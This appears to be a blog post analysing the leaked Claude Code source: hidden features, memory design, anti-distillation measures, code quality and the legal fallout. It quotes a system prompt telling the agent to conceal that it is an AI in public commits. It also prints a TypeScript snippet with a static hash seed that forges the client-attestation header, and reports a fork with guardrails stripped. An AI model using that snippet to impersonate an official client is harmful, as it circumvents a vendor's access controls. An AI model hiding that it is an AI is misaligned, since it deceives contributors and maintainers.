    <a href="#how-the-leak-happened" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Claude Code is bundled with <a href="https://bun.sh/"target="_blank" rel="noopener">Bun</a>, the JavaScript runtime Anthropic acquired in late 2024. When you build with Bun, source maps are generated by default. Those <code>.map</code> files contain the full original source code, not just mappings. Every file, every comment, every internal constant, every system prompt.</p>
<p>The initial theory was that a <a href="https://github.com/oven-sh/bun/issues/28001"target="_blank" rel="noopener">known Bun bug</a> had caused the leak: even with <code>development: false</code>, source maps were still being served and bundled in. But <a href="https://github.com/oven-sh/bun/issues/28001#issuecomment-4164447815"target="_blank" rel="noopener">Jarred Sumner</a>, Bun&rsquo;s creator, shut that down: &ldquo;This has nothing to do with claude code. This is with Bun&rsquo;s frontend development server. Claude Code is not a frontend app. It is a TUI. It doesn&rsquo;t use Bun.serve() to compile a single-file executable.&rdquo; In other words, the Bun bug affects the frontend dev server, not the build process that generated the Claude Code npm package.</p>
<p>What actually happened is simpler: somebody at Anthropic forgot to add <code>*.map</code> to <code>.npmignore</code> or didn&rsquo;t configure the bundler to skip source map generation in production builds. And worse: according to <a href="https://www.theregister.com/2026/03/31/anthropic_claude_code_source_code/"target="_blank" rel="noopener">The Register</a>, the source map didn&rsquo;t just point to the original files, it referenced a ZIP hosted on Anthropic&rsquo;s own Cloudflare R2 bucket. npm happily served it to anyone running <code>npm pack</code>, and the rest was mirroring work.</p>
<p><img src="https://raw.githubusercontent.com/kuberwastaken/claude-code/main/public/claude-files.png" alt="Source files exposed in the npm package"  loading="lazy" /></p>
<p>The irony is that the code contains a whole system called &ldquo;Undercover Mode&rdquo; built specifically to prevent Anthropic&rsquo;s internal information from leaking in commits and PRs. They built a subsystem to stop the AI from revealing internal codenames, and then a source map exposed everything.</p>
<h2>What&rsquo;s inside: the hidden features<span class="hx:absolute hx:-mt-20" id="whats-inside-the-hidden-features"></span>
    <a href="#whats-inside-the-hidden-features" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>The source code reveals 44 feature flags covering functionality that&rsquo;s ready but not yet shipped. This isn&rsquo;t vaporware. It&rsquo;s real code hiding behind flags that compile to <code>false</code> in external builds. Let me highlight the most interesting ones.</p>
<h3>KAIROS: a Claude that never stops<span class="hx:absolute hx:-mt-20" id="kairos-a-claude-that-never-stops"></span>
    <a href="#kairos-a-claude-that-never-stops" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Inside the <code>assistant/</code> directory, there&rsquo;s a mode called KAIROS, a persistent assistant that doesn&rsquo;t wait for you to type. It observes, logs, and acts proactively on things it notices. Maintains append-only daily log files, receives <code>&lt;tick&gt;</code> prompts at regular intervals to decide whether to act or stay quiet, and has a 15-second budget: any proactive action that would block the user&rsquo;s workflow for more than 15 seconds gets deferred.</p>
<p>KAIROS-exclusive tools: <code>SendUserFile</code> (sends files to the user), <code>PushNotification</code> (push notifications), <code>SubscribePR</code> (monitors pull requests). None of this exists in the public build.</p>
<h3>BUDDY: a Tamagotchi in the terminal<span class="hx:absolute hx:-mt-20" id="buddy-a-tamagotchi-in-the-terminal"></span>
    <a href="#buddy-a-tamagotchi-in-the-terminal" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>I&rsquo;m not making this up. Claude Code has a complete pet companion system in the Tamagotchi style called &ldquo;Buddy.&rdquo; A deterministic gacha system with 18 species, rarity, shiny variants, procedurally generated stats, and a &ldquo;soul&rdquo; written by Claude on the first hatch.</p>
<p>The species is determined by a Mulberry32 PRNG seeded by the hash of the userId. Same user always gets the same buddy. There are 5 stats (DEBUGGING, PATIENCE, CHAOS, WISDOM, SNARK), 6 eye styles, 8 hat options, and sprites rendered as 5-line ASCII art with animations. The code references April 1-7, 2026 as the teaser window, with full launch slated for May 2026.</p>
<h3>ULTRAPLAN: 30 minutes of remote planning<span class="hx:absolute hx:-mt-20" id="ultraplan-30-minutes-of-remote-planning"></span>
    <a href="#ultraplan-30-minutes-of-remote-planning" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>ULTRAPLAN offloads complex planning tasks to a remote session running Opus 4.6, gives it up to 30 minutes to think, and lets you approve the result through the browser. The terminal shows polling every 3 seconds, and once approved, a sentinel value <code>__ULTRAPLAN_TELEPORT_LOCAL__</code> &ldquo;teleports&rdquo; the result back into the local terminal.</p>
<h3>Multi-Agent: &ldquo;Coordinator Mode&rdquo;<span class="hx:absolute hx:-mt-20" id="multi-agent-coordinator-mode"></span>
    <a href="#multi-agent-coordinator-mode" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>The multi-agent orchestration system in the <code>coordinator/</code> directory turns Claude Code from a single agent into a coordinator that spawns, directs and manages multiple workers in parallel. Parallel research, synthesis by the coordinator, implementation by workers, verification by workers. The prompt teaches parallelism explicitly and forbids lazy delegation: &ldquo;Do NOT say &lsquo;based on your findings&rsquo; - read the actual findings and specify exactly what to do.&rdquo;</p>
<p>And there&rsquo;s more. The leak also shows in-process teammates with <code>AsyncLocalStorage</code> to isolate context, workers in separate processes via tmux/iTerm2 panes, memory synchronization between agents, and flags ready for <code>BRIDGE_MODE</code>, <code>VOICE_MODE</code>, <code>WORKFLOW_SCRIPTS</code>, <code>AFK mode</code>, <code>advisor-tool</code> and <code>history snipping</code>. None of that guarantees a launch, but it suggests a roadmap that&rsquo;s a lot further along than the public version lets on.</p>
<h2>The memory architecture<span class="hx:absolute hx:-mt-20" id="the-memory-architecture"></span>
    <a href="#the-memory-architecture" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>The memory system caught my eye. It&rsquo;s not a &ldquo;store everything and retrieve&rdquo; approach. It&rsquo;s a three-layer architecture:</p>
<p><a href="https://x.com/himanshustwts/status/2038924027411222533"target="_blank" rel="noopener"><img src="https://new-uploads-akitaonrails.s3.amazonaws.com/2026/03/31/claude-code-memory-architecture.jpg" alt="Summary of Claude Code’s memory architecture"  loading="lazy" /></a></p>
<p><code>MEMORY.md</code> is a lightweight pointer index (~150 characters per line) that stays permanently loaded in the context. It doesn&rsquo;t store data, it stores locations. The actual knowledge lives distributed across &ldquo;topic files&rdquo; fetched on demand. Raw transcripts are never reloaded into the context whole, only searched with grep for specific identifiers.</p>
<p>And it comes with an important discipline: the system writes to the topic file first and only then updates the index. <code>MEMORY.md</code> doesn&rsquo;t become a fact dump. It stays a map. If you let the index turn into storage, it pollutes the permanent context and degrades the whole system.</p>
<p>The &ldquo;Dream&rdquo; system (<code>services/autoDream/</code>) is a memory consolidation engine that runs as a background subagent. The name is intentional. It&rsquo;s Claude dreaming.</p>
<p>The dream has a three-gate trigger: 24 hours since the last dream, at least 5 sessions since the last dream, and acquiring a consolidation lock (preventing concurrent dreams). All three have to pass.</p>
<p>When it runs, it follows four phases: Orient (ls in the memory directory, read the index), Gather (look for new signals in logs, stale memories, transcripts), Consolidate (write or update topic files, convert relative dates to absolute, delete contradicted facts), and Prune (keep the index under 200 lines and ~25KB).</p>
<p>There are four memory types: <code>user</code> (user profile), <code>feedback</code> (corrections and confirmations), <code>project</code> (context about ongoing work), <code>reference</code> (pointers to external systems). The taxonomy explicitly excludes things derivable from the code (patterns, architecture, git history, file structure).</p>
<p>The dream subagent gets read-only bash. It can look at the project but can&rsquo;t modify anything. It&rsquo;s purely a consolidation pass.</p>
<p>And there&rsquo;s another detail I found elegant: memory isn&rsquo;t treated as truth. It&rsquo;s treated as a hint. The system assumes that memory may be stale, wrong or contradicted, so the model still has to verify before trusting it. That&rsquo;s the opposite of the fantasy of &ldquo;throw everything in a vector database and let the magic happen.&rdquo;</p>
<h2>&ldquo;Undercover Mode&rdquo;<span class="hx:absolute hx:-mt-20" id="undercover-mode"></span>
    <a href="#undercover-mode" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Anthropic employees (identified by <code>USER_TYPE === 'ant'</code>) use Claude Code on public and open source repositories. Undercover Mode (<code>utils/undercover.ts</code>) prevents the AI from accidentally revealing internal information in commits and PRs.</p>
<p>When active, it injects into the system prompt:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>## UNDERCOVER MODE - CRITICAL

You are operating UNDERCOVER in a PUBLIC/OPEN-SOURCE repository. Your commit
messages, PR titles, and PR bodies MUST NOT contain ANY Anthropic-internal
information. Do not blow your cover.

NEVER include in commit messages or PR descriptions:
- Internal model codenames (animal names like Capybara, Tengu, etc.)
- Unreleased model version numbers (e.g., opus-4-7, sonnet-4-8)
- Internal repo or project names
- Internal tooling, Slack channels, or short links
- The phrase &#34;Claude Code&#34; or any mention that you are an AI
- Co-Authored-By lines or any other attribution</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>There&rsquo;s no way to turn it off. If the system isn&rsquo;t sure it&rsquo;s in an internal repository, it stays in undercover mode. That confirms something kind of uncomfortable: Anthropic uses Claude Code to contribute to open source, and the agent is instructed to hide that it&rsquo;s an AI.</p>
<p>The internal codenames are animal names: Tengu (codename for the Claude Code project), Fennec (Opus), Capybara, Numbat (in testing). &ldquo;Fast Mode&rdquo; is internally called &ldquo;Penguin Mode&rdquo; with endpoint <code>claude_code_penguin_mode</code> and kill-switch <code>tengu_penguins_off</code>.</p>
<h2>The most paranoid parts<span class="hx:absolute hx:-mt-20" id="the-most-paranoid-parts"></span>
    <a href="#the-most-paranoid-parts" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>There&rsquo;s a piece of the analysis I almost missed because I was looking more at the hidden features. But maybe the most revealing thing about Anthropic&rsquo;s mindset is in the defense mechanisms against copying and abuse.</p>
<p>According to <a href="https://alex000kim.com/posts/2026-03-31-claude-code-source-leak/"target="_blank" rel="noopener">Alex Kim&rsquo;s analysis</a>, there&rsquo;s an anti-distillation mode that can ask the server to inject fake tools into the system prompt. The idea is to poison traffic recorded by anyone trying to distill Claude Code&rsquo;s behavior to train a competitor. There&rsquo;s also a second mechanism for summarizing connector text, cryptographically signed, so that part of the observable traffic doesn&rsquo;t match the original raw reasoning. It&rsquo;s not perfect protection. It&rsquo;s another layer of friction. But it shows the company is explicitly thinking about copy-by-observation, not just traditional security.</p>
<p>And there&rsquo;s the more aggressive part: client attestation. Every request includes a billing header with a placeholder <code>cch=00000</code>, and the Bun native runtime replaces that with a hash computed below the JavaScript layer. In other words, looking like Claude Code isn&rsquo;t enough. The binary tries to prove that it is Claude Code. That helps explain why the fight with third-party tools like OpenCode got so sensitive: it wasn&rsquo;t just a commercial or legal issue. There was technical enforcement built into the transport.</p>
<h3>Update: the DRM died in less than 24 hours<span class="hx:absolute hx:-mt-20" id="update-the-drm-died-in-less-than-24-hours"></span>
    <a href="#update-the-drm-died-in-less-than-24-hours" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Remember when I mentioned client attestation as &ldquo;the most aggressive part&rdquo;? Yeah. It lasted less than a day.</p>
<p>For context: Anthropic had been waging a war against third-party tools since January 2026. First came the server-side blocking of OAuth tokens from non-official clients. Then in March, the <a href="https://github.com/anomalyco/opencode"target="_blank" rel="noopener">OpenCode</a> maintainer merged a <a href="https://github.com/anomalyco/opencode/issues/7456"target="_blank" rel="noopener">PR</a> removing all Claude authentication from the project. The commit message was two words: &ldquo;anthropic legal requests.&rdquo; <a href="https://www.theregister.com/2026/02/20/anthropic_clarifies_ban_third_party_claude_access/"target="_blank" rel="noopener">The Register reported</a> that Anthropic updated its terms of service to make it explicit that OAuth tokens from Pro/Max subscriptions can only be used in the official Claude Code and on Claude.ai. People paying $100-200/month for Max who wanted to use the tool of their choice were left holding the bag.</p>
<p>The technical mechanism behind the block was the <code>cch=</code> header. With the leaked code you can see the system has two parts. The first is a version suffix: the <code>cc_version</code> field includes 3 hex characters derived from the user&rsquo;s first message via SHA-256, using a 12-character salt embedded in the JavaScript. The second is the body hash itself: the entire body of the request (messages, tools, metadata, model, thinking config, everything) is serialized as compact JSON with the <code>cch=00000</code> placeholder, then hashed with <a href="https://github.com/Cyan4973/xxHash"target="_blank" rel="noopener">xxHash64</a> using a fixed seed. The result is masked with <code>0xFFFFF</code> (20 bits) and formatted as 5 lowercase hex characters. The placeholder is replaced with the computed hash before the request leaves the process.</p>
<p>The detail that makes the difference: that substitution happens inside the Bun native runtime, written in Zig, below the JavaScript layer. Bun literally mutates the JavaScript string in-place, overwriting the <code>00000</code> bytes in the string buffer with the computed hash. If you ran the same bundle in Node or in a stock Bun, the placeholder would go to the server as-is and the request would be rejected.</p>
<p>And then the leak happened. With the source code exposed, <a href="https://x.com/StraughterG/status/2039344027556798476"target="_blank" rel="noopener">@StraughterG</a> (Jay Guthrie) announced that same night: &ldquo;Yesterday I said Anthropic&rsquo;s compiled Zig cch= hash was banning 3rd-party Claude clients. Tonight, the DRM is dead. We extracted the algorithm from the binary. It&rsquo;s not advanced cryptography. It&rsquo;s a static xxHash64 seed.&rdquo;</p>
<p>The seed is <code>0x6E52736AC806831E</code>. The <a href="https://a10k.co/b/reverse-engineering-claude-code-cch.html"target="_blank" rel="noopener">full algorithm</a>, as he explained in a thread of tweets, fits in a few lines of TypeScript:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-typescript" data-lang="typescript"><span class="line"><span class="cl"><span class="kr">import</span> <span class="nx">xxhash</span> <span class="kr">from</span> <span class="s2">&#34;xxhash-wasm&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="p">{</span> <span class="nx">h64Raw</span> <span class="p">}</span> <span class="o">=</span> <span class="k">await</span> <span class="nx">xxhash</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">body</span> <span class="o">=</span> <span class="nx">JSON</span><span class="p">.</span><span class="nx">stringify</span><span class="p">(</span><span class="nx">request</span><span class="p">);</span> <span class="c1">// com cch=00000 no placeholder
</span></span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">hash</span> <span class="o">=</span> <span class="nx">h64Raw</span><span class="p">(</span><span class="k">new</span> <span class="nx">TextEncoder</span><span class="p">().</span><span class="nx">encode</span><span class="p">(</span><span class="nx">body</span><span class="p">),</span> <span class="mh">0x6E52736AC</span><span class="nx">n</span> <span class="o">|</span> <span class="p">(</span><span class="mh">0x806831E</span><span class="nx">n</span> <span class="o">&lt;&lt;</span> <span class="mi">32</span><span class="nx">n</span><span class="p">));</span>
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">cch</span> <span class="o">=</span> <span class="p">(</span><span class="nx">hash</span> <span class="o">&amp;</span> <span class="mh">0xFFFFF</span><span class="nx">n</span><span class="p">).</span><span class="nx">toString</span><span class="p">(</span><span class="mi">16</span><span class="p">).</span><span class="nx">padStart</span><span class="p">(</span><span class="mi">5</span><span class="p">,</span> <span class="s2">&#34;0&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="c1">// substituir cch=00000 por cch={valor calculado}
</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><a href="https://x.com/paoloanzn/status/2039348588741087341"target="_blank" rel="noopener">@paoloanzn</a> celebrated: &ldquo;we cracked it. the cch= signing system in claude code is fully reverse engineered.&rdquo; And he immediately put the bypass in <a href="https://github.com/paoloanzn/free-code"target="_blank" rel="noopener">free-code</a>, a fork of Claude Code with telemetry removed, system prompt guardrails stripped, and all 54 experimental feature flags unlocked.</p>
<p><a href="https://github.com/paoloanzn/free-code"target="_blank" rel="noopener"><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/free-code-screenshot.png" alt="Screenshot of free-code running with experimental features"  loading="lazy" /></a></p>
<p>The technical point that matters: xxHash64 is not cryptography. It&rsquo;s a checksum hash designed for speed, not security. The seed is static, embedded in the binary. It changes with each version of Claude Code, but within a version it&rsquo;s the same for everyone. The &ldquo;security&rdquo; depended entirely on nobody being able to extract the seed from the compiled Zig binary. With the source code leaked, that obscurity evaporated in hours.</p>
<p>Now any third-party client — OpenCode, Claw-Code, whatever — can intercept the <code>fetch()</code>, hash the body with the correct seed, and pass the server&rsquo;s validation as if it were the official Claude Code. The barrier Anthropic built to protect its $2.5 billion ARR business model was, in the end, security by obscurity over a non-cryptographic hash.</p>
<p>The third detail is small but says a lot about real product in production: the system detects user frustration with regex. Yes, regex. Profanity, insults, &ldquo;this sucks,&rdquo; that kind of thing. It&rsquo;s funny to see an LLM company doing sentiment analysis with <code>wtf|ffs|shit</code>, but it&rsquo;s also the kind of pragmatic solution you reach for when you need a cheap immediate answer, not conceptual elegance.</p>
<h2>What the code reveals about how you use Claude Code<span class="hx:absolute hx:-mt-20" id="what-the-code-reveals-about-how-you-use-claude-code"></span>
    <a href="#what-the-code-reveals-about-how-you-use-claude-code" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p><a href="https://x.com/iamfakeguru/status/2038965567269249484"target="_blank" rel="noopener">@iamfakeguru</a> compiled a thread with seven technical findings from the code that any user should know:</p>
<p>Claude Code has a 2,000-line cap per file read. When you ask it to read a larger file, it silently truncates. Tool results are cut off at 50,000 characters. The context window compression system drops old messages to fit more new context. And there&rsquo;s a difference between the access level of Anthropic employees (<code>USER_TYPE === 'ant'</code>) and public access: internal tools like <code>ConfigTool</code> and <code>TungstenTool</code> are invisible in the external build.</p>
<p>The most useful finding from the thread is how Anthropic employees work around the limitations external users face. The code reveals that <code>USER_TYPE === 'ant'</code> unlocks internal tools, exclusive beta headers (<code>cli-internal-2026-02-09</code>), access to staging (<code>claude-ai.staging.ant.dev</code>), and a <code>ConfigTool</code> that lets you change configurations at runtime. External builds compile all of this to <code>false</code> via dead code elimination.</p>
<p>But the point that matters is: the CLAUDE.md you put at the root of your project gets read in full by Claude Code and injected into the system prompt. It&rsquo;s literally the place where you control how the agent behaves. <a href="https://x.com/iamfakeguru/status/2038965567269249484"target="_blank" rel="noopener">@iamfakeguru</a> published a complete override with 10 mechanical rules, and then put the whole file in a separate repository: <a href="https://github.com/iamfakeguru/claude-md"target="_blank" rel="noopener">iamfakeguru/claude-md</a>.</p>
<p><a href="https://github.com/iamfakeguru/claude-md/blob/main/CLAUDE.md"target="_blank" rel="noopener"><img src="https://new-uploads-akitaonrails.s3.amazonaws.com/2026/03/31/claude-md-production-grade-agent-directives.png" alt="Screenshot of the CLAUDE.md published by fakeguru"  loading="lazy" /></a></p>
<p>I&rsquo;m not going to paste the whole block here. What matters is the content: it forces post-edit verification (<code>tsc</code> and <code>eslint</code> before declaring success), it imposes re-reading files before editing, it requires reading large files in chunks, it assumes silent truncation of long results, and it tells you to break larger work into phases or parallel subagents. In other words: it turns into explicit rules everything that external users were having to figure out empirically.</p>
<p>These aren&rsquo;t magic instructions. They&rsquo;re guardrails. The difference is that now we know which limits the system actually has and we can write a CLAUDE.md that works with them, not against them.</p>
<h2>Cache bugs that cost real money<span class="hx:absolute hx:-mt-20" id="cache-bugs-that-cost-real-money"></span>
    <a href="#cache-bugs-that-cost-real-money" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p><a href="https://x.com/altryne/status/2038676458026189225"target="_blank" rel="noopener">@altryne</a> (Alex Volkov) reported cache invalidation bugs that make uncached tokens cost 10-20x more than cached ones. There are two bugs: a string substitution bug in Bun that affects the standalone CLI (workaround: use <code>npx @anthropic-ai/claude-code</code> instead of the installed binary), and another in the <code>--resume</code> flag that breaks the cache with no known workaround. Over 500 users reported similar quota exhaustion issues. If you&rsquo;ve been feeling like Claude Code was burning tokens faster than expected over the past few days, it probably wasn&rsquo;t your imagination.</p>
<h2>&ldquo;Staff engineer spaghetti&rdquo;<span class="hx:absolute hx:-mt-20" id="staff-engineer-spaghetti"></span>
    <a href="#staff-engineer-spaghetti" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>The code analysis revealed real problems. A comment in the source itself admits: &ldquo;1,279 sessions had 50+ consecutive failures (up to 3,272) in a single session, wasting ~250K API calls per day globally.&rdquo; The fix was three lines: limit consecutive failures to three before disabling compaction.</p>
<p>The <code>print.ts</code> file has 5,594 lines with a single 3,167-line function containing twelve levels of nesting. <code>main.tsx</code> is 803,924 bytes in a single file. <code>interactiveHelpers.tsx</code> is 57,424 bytes. These are files no human can review with confidence.</p>
<p>The most viral reaction came from <a href="https://x.com/thekitze/status/2038956521942577557"target="_blank" rel="noopener">@thekitze</a>: he asked GPT-5.4 to evaluate the codebase and the score came in at 6.5/10. The description: &ldquo;This is not junior spaghetti. This is staff-engineer spaghetti: performance-aware, feature-flagged, telemetry-instrumented, surgically optimized spaghetti.&rdquo; In other words, it isn&rsquo;t bad code from inexperience. It&rsquo;s bad code from pressure to ship fast without paying the cost of cleaning up afterwards.</p>
<p><a href="https://x.com/thekitze/status/2038986445839622405"target="_blank" rel="noopener">@thekitze</a> also elaborated in another thread on how the code shows a lack of basic engineering practices. And this is where I feel vindicated.</p>
<p>I&rsquo;ve been repeating in several posts on <a href="/en/en/tags/vibe-coding/">vibe coding</a> that speed without discipline produces exactly this. The principles I defend, small increments, tests at every step, review before committing, continuous refactoring, CI that rejects high cyclomatic complexity, are the same Extreme Programming principles that have worked since the early 2000s. Anthropic apparently didn&rsquo;t follow any of them on their own product.</p>
<p>A 3,167-line function with 12 levels of nesting isn&rsquo;t something that appears overnight. It&rsquo;s accumulation. It&rsquo;s the result of dozens of additions where nobody stopped to refactor because &ldquo;it works, don&rsquo;t touch it.&rdquo; It&rsquo;s the classic anti-pattern of vibe coding without discipline: generate code with AI, see that it compiles, commit, repeat. Without rigorous review. Without complexity limits in CI. Without the basic rule that if a function passes 50 lines, it needs to be broken up.</p>
<p>The irony is that Anthropic sells the most popular vibe coding tool on the market and doesn&rsquo;t practice what I call responsible vibe coding. Claude Code is worth $2.5 billion in ARR. The code that generates that revenue is rated 6.5/10.</p>
<h2>The &ldquo;clean room&rdquo; question<span class="hx:absolute hx:-mt-20" id="the-clean-room-question"></span>
    <a href="#the-clean-room-question" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>With the entire source code public, there&rsquo;s a serious legal and competitive implication. And here I think a lot of people started using the term &ldquo;clean room&rdquo; with a lightness that doesn&rsquo;t fit the subject.</p>
<p>A real clean room isn&rsquo;t just &ldquo;I rewrote it in another language&rdquo; or &ldquo;I didn&rsquo;t copy and paste.&rdquo; The classic model is much more annoying: one group studies the original and produces a functional spec; another group, isolated, implements from that spec without ever seeing the original code. The whole point is to reduce contamination risk.</p>
<p><a href="https://x.com/braelyn_ai/status/2039025584626397491"target="_blank" rel="noopener">@braelyn_ai</a> raised another interesting point: with generative tools, somebody could try a &ldquo;clean room rebuild&rdquo; using tests, observable behavior and documentation, without reusing the original implementation. In theory, that makes sense. In practice, what shows up in the heat of a leak usually lands in a much grayer zone.</p>
<p>The <a href="https://github.com/ultraworkers/claw-code"target="_blank" rel="noopener">Claw-Code</a> case illustrates this well. The project presents itself as an independent rewrite and has already shifted focus to Python and Rust, but the README itself admits direct study of the exposed code and even mentions a parity audit against a local archive. So I wouldn&rsquo;t call that a clean room in the strictest classic sense. I&rsquo;d call it an inspired reimplementation, with a deliberate attempt to move away from the leaked snapshot.</p>
<p>That doesn&rsquo;t mean every reimplementation is doomed. Software copyright doesn&rsquo;t protect abstract ideas, generic tool flow, high-level architecture or &ldquo;a CLI that does X.&rdquo; It protects concrete expression. But that&rsquo;s exactly why discipline matters. The more a project wants to maintain independence, the less it should rely on the leaked material as a direct benchmark.</p>
<p>There&rsquo;s a more pragmatic detail in there: the literal copies of the leaked source will probably disappear quickly when the first DMCAs start arriving. Mirrors fall easily. That&rsquo;s why a reimplementation matters more than a raw mirror. It doesn&rsquo;t erase the legal discussion, but it changes the type of fight quite a bit and the chances of staying online.</p>
<p>That&rsquo;s more or less what I did myself when I <a href="/en/2026/03/16/rewrote-openclaw-in-rust-frankclaw/">rewrote OpenClaw in Rust</a>. The point wasn&rsquo;t to copy line by line. It was to understand the behavior and rewrite the whole piece in my own code.</p>
<p>The satirical site <a href="https://malus.sh/"target="_blank" rel="noopener">malus.sh</a> appeared today offering &ldquo;Clean Room as a Service&rdquo; with the tagline &ldquo;Robot-Reconstructed, Zero Attribution.&rdquo; The joke: AI robots recreate open source projects eliminating attribution obligations, with guarantees like &ldquo;This has never happened because it legally cannot happen. Trust us.&rdquo; and indemnification via an offshore subsidiary in a jurisdiction that doesn&rsquo;t recognize software copyright. It&rsquo;s satire, but it&rsquo;s satire that describes what someone is going to actually try to do.</p>
<p><a id="update-2026-04-02"></a></p>
<h2>Update on April 2, 2026<span class="hx:absolute hx:-mt-20" id="update-on-april-2-2026"></span>
    <a href="#update-on-april-2-2026" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Since the text above opens in the heat of March 31, it&rsquo;s worth recording what happened right after. I decided to add this update after reading <a href="https://x.com/k1rallik/status/2039686500619534818"target="_blank" rel="noopener">this tweet from @k1rallik</a>, which captures the post-leak mood well but mixes verifiable facts with a touch too much epic.</p>
<p>First: the DMCA part got messier than it looked. The notice itself published in the <code>github/dmca</code> repository says GitHub processed the takedown against the entire network of <strong>8,100 repositories</strong>, because the notification claimed that &ldquo;all or most of the forks&rdquo; were infringing to the same extent as the main repository. The next day, Anthropic published a <strong>partial retraction</strong>: it asked for the reinstatement of all the removed repositories, except <code>nirholas/claude-code</code> and <strong>96 forks listed individually</strong>. So the thesis that the initial attempt was too broad is correct. The final picture, however, isn&rsquo;t &ldquo;8,100 repositories were taken down.&rdquo; What happened was a formal walk-back after the mass removal.</p>
<p>Second: the <a href="https://github.com/ultraworkers/claw-code"target="_blank" rel="noopener">Claw-Code</a> project really did blow up. By the time I was updating this post, GitHub was already showing <strong>142,829 stars</strong> and <strong>101,510 forks</strong>. That alone is enough to say the story has moved out of the &ldquo;curious fork of the leak&rdquo; category and into the &ldquo;real competitive side effect&rdquo; category. The viral tweet that went around today is right about the size of the damage but exaggerates some details. The project&rsquo;s own README describes itself as &ldquo;the fastest repo in history to surpass 50K stars&rdquo; and says the milestone came in two hours. I couldn&rsquo;t independently confirm that historical record, so I&rsquo;d rather treat that as the project&rsquo;s own claim, not as a settled fact.</p>
<p>Third: the Rust part also needs nuance. Yes, there&rsquo;s already a Rust workspace on the main branch and the <code>Cargo.toml</code> is at version <code>0.1.0</code>. But I couldn&rsquo;t find a public release on GitHub to support the line &ldquo;release 0.1.0 already shipped&rdquo; as a formal launch. What I can say with confidence is something else: the project already has a Python base, already has a Rust workspace, and has already drawn enough attention to keep existing even without the literal mirror of the leaked code.</p>
<h2>What Anthropic should have done<span class="hx:absolute hx:-mt-20" id="what-anthropic-should-have-done"></span>
    <a href="#what-anthropic-should-have-done" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Anthropic responded fast. They pulled the compromised package, put out a public statement, and cleaned up what they could. But the damage was done. The code was mirrored before the takedown. Mirrors on GitHub, analyses in blogs, threads on X/Twitter. There&rsquo;s no way to un-publish something on the internet.</p>
<p>What bothers me isn&rsquo;t the leak itself. Bugs happen. What bothers me is that this was avoidable with basic engineering practices:</p>
<ol>
<li>Add <code>*.map</code> to <code>.npmignore</code>. One line.</li>
<li>Configure the bundler to not generate source maps in production builds. One flag.</li>
<li>Have a CI check that rejects publication if the package contains <code>.map</code>. A 5-line script.</li>
<li>Have a release pipeline with manual review before publishing to npm. Process, not code.</li>
</ol>
<p>None of these are hard. They&rsquo;re all the kind of thing that gets dropped when you&rsquo;re moving too fast and don&rsquo;t have discipline in the release process. It&rsquo;s exactly what I preach as <a href="/en/en/tags/vibe-coding/">disciplined vibe coding</a>: moving fast doesn&rsquo;t mean skipping the guardrails.</p>
<p>And the second failure: the quality of the code itself. 512,000 lines with 3,000-line functions and 12 levels of nesting isn&rsquo;t engineering. It&rsquo;s accumulation. It&rsquo;s what happens when you generate code with AI without rigorous review, without continuous refactoring, without CI that rejects high cyclomatic complexity. The irony of being precisely the company that sells the most popular vibe coding tool in the world doesn&rsquo;t go unnoticed.</p>
<h2>Sources<span class="hx:absolute hx:-mt-20" id="sources"></span>
    <a href="#sources" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><ul>
